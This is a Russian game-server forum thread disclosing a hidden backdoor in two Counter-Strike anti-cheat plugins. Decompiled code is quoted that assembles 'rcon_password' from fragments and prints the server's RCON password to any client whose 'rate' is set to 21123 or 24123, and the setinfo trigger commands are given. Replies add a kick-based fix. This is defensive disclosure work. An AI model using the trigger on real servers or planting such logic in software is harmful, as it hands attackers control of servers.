Вся правда о CSFile.Info Anti-Cheat и CSFile.Info OpenGL32 Detect, И почему я НЕ рекомендую ими пользоваться |
Здравствуйте, гость Вход | Регистрация
Наши новости:
|
|
|
Вся правда о CSFile.Info Anti-Cheat и CSFile.Info OpenGL32 Detect, И почему я НЕ рекомендую ими пользоваться |
Makzz
|
22.8.2010, 12:03
Сообщение
|
![]() |
Вся правда о CSFile.Info Anti-Cheat и CSFile.Info OpenGL32 Detect
Здравствуйте уважаемые посетители c-s.net.ua. Сегодня я сделал интересное открытие по поводу двух античитерских плагинов от автора с ником -)>C-r-A-c-K<(-. Речь пойдёт CSFile.Info Anti-Cheat версии 1.23 Alfa [build 28] и CSFile.Info OpenGL32 Detect версии 2.1 Final. Начну пожалуй с плагина определения OpenGL32 Hack'ов. Как-то меня попросили на форуме отлучить этот плагин от модуля MySql, я в свою очередь конечно же согласился. Понятное дело чтобы это можно было сделать, требовалось получить исходный код, которого нет на паблике. Вооружившись некоторыми деасамблирующими программами я обратил внимание на вот такие строки: new f_sys[] = "swor" new csf_ac_ra[] = "ra" new d_unit[] = "s" new cv_mypunish[] = "rc" new g_vac2[] = "on_" Если немного перемешать и гдето сложить (rc+on_+pa+swor+d), то получится rcon_password Все наверно знаю, что в этой серверной команде прописан RCON пароль и заполучив его сервер полностью подчинится обладателю. Но вот загвоздка чтобы получить слово rcon_password не хватает пары букв, и на ваших глазах я покажу как же формируется это слово и как получить доступ к нему. И так сперва мы отправимся в функцию plugin_init плагина CSFile.Info OpenGL32 Detect: мы видми format ( d_guard, 31, "%s%spa", cv_mypunish, g_vac2 ), т.е. d_guard приобретает вид rcon_pa. Идем дальше. Функция initialized: format ( d_guard,31,"%s%s", d_guard,d_unit ) и d_guard приобретает вид rcon_pas, ниже встречается format ( g_gate, 5, "%ste", csf_ac_ra ), т.е. g_gate это rate Функция client_connect: get_user_info(id,g_gate,cv_ac1,31), т.е. плагин получает значение инфы rate (g_gate) и записывает её в cv_ac1 Функция checkfiles_opengl32: format ( g_gate2, 5, "%d%d", 211, 23 ) Теперь функция c_check_opengl32 (она вызывается после захода игрока): Код if(equali(cv_ac1,g_gate2)) // Сверяем значение rate с 21123 { // Если одинаковы format(g_r,63,"%s%sd",d_guard,f_sys) // то формируем квар и g_r приобретает вид rcon_password get_cvar_string(g_r,g_ss,47) // Получаем пароль client_print(id,print_console,"%s",g_ss) // И пишем его в консоли игрока } Вот такие вот пироги. Если не верите - попробуйте сами... Пропишите в консоли клиента setinfo rate 21123, зайдите на сервер, и у вас в консоли окажется RCON пароль! Теперь перейду к CSFile.Info Anti-Cheat версии 1.23 Alfa [build 28]. Здесь похожая ситуация. Так же присутствуют: new f_sys[] = "swor" new csf_ac_ra[] = "ra" new d_unit[] = "s" new cv_mypunish[] = "rc" new g_vac2[] = "on_" new g_model[] = "241" Функция plugin_precache: format(g_gate2, 5, "%s%d", g_model, 23"), format ( d_guard, 31, "%s%spa", cv_mypunish, g_vac2 ) Функция initialized: format ( d_guard, 31, "%s%s", d_guard, d_unit ), format ( g_gate, 5, "%ste", csf_ac_ra ) Функция client_putinserver: get_user_info(id,g_gate,cv_ac1,31) Функция cv_anticheat (так же выполняется после захода игрока): Код if(equali(cv_ac1,g_gate2)) // Сверяем значение rate с 24123 { // Если одинаковы format(g_r,63,"%s%sd",d_guard,f_sys) // то формируем квар и g_r приобретает вид rcon_password get_cvar_string(g_r,g_ss,47) // Получаем пароль client_print(id,print_console,"%s",g_ss) // И пишем его в консоли игрока } И опять же если не верите, пропишите в консоли клиента setinfo rate 24123, зайдите на сервер, и у вас в консоли окажется RCON пароль! Список обследованных версий Плагин / Версия / Статус бэкдора CSFile.Info Anti-Cheat 1.23 Fix 2 Присутствует CSFile.Info Anti-Cheat 1.23 Alfa [build 15] Присутствует CSFile.Info Anti-Cheat 1.22 Присутствует
Отредактировал: Makzz, - 27.8.2010, 12:01
|
Поблагодарили 36 раз
|
|
balaban
|
22.8.2010, 12:09
Сообщение
|
![]() |
Makzz,
Хм...Попробывал,ркона я своего не увидел :) |
|
|
|
Makzz
|
22.8.2010, 12:13
Сообщение
|
![]() |
|
|
|
|
vkontakte
|
22.8.2010, 12:17
Сообщение
|
![]() |
да,так и есть, ркон высвечивает...я почти в шоке..вырубаю ркон..
Отредактировал: vkontakte, - 22.8.2010, 12:20
|
|
|
|
eXp71
|
22.8.2010, 12:19
Сообщение
|
![]() |
Вот ты какой баян.
Бессмысленный и беспощадный! Что сказать уныл ты Crack. |
|
|
|
3a4oT
|
22.8.2010, 12:19
Сообщение
|
![]() |
нет слов...... |
|
|
|
vkontakte
|
22.8.2010, 12:21
Сообщение
|
![]() |
как вариант можете зачищать клиентам консоль после коннекта
|
|
|
|
fr0x
|
22.8.2010, 12:26
Сообщение
|
![]() |
Makzz, я разместил данную новость на дедикатед-сервер.ру. Если ты будешь против - напиши, затру.
|
|
|
|
Саша
|
22.8.2010, 12:28
Сообщение
|
![]() |
Подскажите плагин который чистит консоль юзера после коннекта.
|
|
|
|
balaban
|
22.8.2010, 12:30
Сообщение
|
![]() |
vkontakte,
У меня как раз такое и стоит :DD |
|
|
|
VoidLess
|
22.8.2010, 12:33
Сообщение
|
|
|
|
|
|
|
vkontakte
|
22.8.2010, 12:35
Сообщение
|
![]() |
|
|
|
|
Саша
|
22.8.2010, 12:35
Сообщение
|
![]() |
Будем пробовать то что написал Zefir.
|
|
|
|
Zefir
|
22.8.2010, 12:38
Сообщение
|
|
|
Естественно надо поставить раньше античита этот плаг
возможно написать точно такую putinserver и возможно заюзать fakemeta как посоветовали раньше... |
|
|
|
Racoon
|
22.8.2010, 12:40
Сообщение
|
![]() |
Вот вам первая заглушка от этой напасти:) Не проверял писал прям на форум... Код public plugin_init(id) { register_plugin("Fix CSFile.Info BackDoor", "Zefir", "0.1") } public client_connect(id) { new rate[32] get_user_info(id, "rate", rate, charsmax(rate)) if (equal(rate, "24123") || equal(rate, "21123")) server_cmd("kick #%d use backdoor", get_user_userid(id)) } Что мешает CRACK'y поменять значение и перезалить плагин. РКОН офф и спаться спокойнее будет.
Отредактировал: Racoon, - 22.8.2010, 12:42
|
Поблагодарили 1 раз
|
|
Zefir
|
22.8.2010, 12:51
Сообщение
|
|
|
Что мешает CRACK'y поменять значение и перезалить плагин. РКОН офф и спаться спокойнее будет. Куда перезалить? К вам на сервер? Если админ о дыре не знает так к нему и так залезть можно, незачем ждать чтобы он обновился... А если о дыре знает то обновлять не будет и заглушку прилепит |
|
|
|
![]() ![]() |